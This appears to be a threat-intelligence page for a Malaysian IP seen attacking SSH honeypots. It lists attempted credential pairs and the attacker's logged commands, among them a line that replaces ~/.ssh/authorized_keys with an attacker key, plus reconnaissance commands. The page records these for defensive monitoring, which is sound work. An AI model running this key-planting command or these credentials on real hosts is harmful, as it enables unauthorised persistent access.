Active ThreatHIGH

211.24.41.44

Country of Origin🇲🇾 Malaysia
First Detection1/10/2026
Last Activity1/12/2026
ISPTIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al
🎯
573
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
24
Malware

Geolocation

Country
🇲🇾 Malaysia
City
Kuala Lumpur
ASN
AS9930
ISP
TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al

Attack Types

cowrie

Attacked Ports

22

Associated Malware

Attempted Credentials

🔐345gs5662d34/345gs5662d34
4x
🔐deployerer/123qwe
1x
🔐teamspeak/3245gs5662d34
1x
🔐c/.
1x
🔐sftpuser/P@ssw0rd@1
1x
🔐postgres/31415926
1x
🔐vpn/vpn24
1x
🔐admin/password123
1x
🔐botuser1/botuser1user
1x
🔐postgres/P@ssword1
1x
🔐build/password123
1x
🔐m/1234567890
1x
🔐vpn/Admin123!
1x
🔐frappe/password1!
1x
🔐server/Password123
1x

Executed Commands

$cd ~; chattr -ia .ssh; lockr -ia .ssh4x
$uname4x
$whoami4x
$df -h | head -n 2 | awk 'FNR == 2 {print $2;}'4x
$cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~4x
$lockr -ia .ssh4x
$top4x
$uname -m4x
$free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'4x
$lscpu | grep Model4x

Risk Assessment

60
/100
LowMediumHighCritical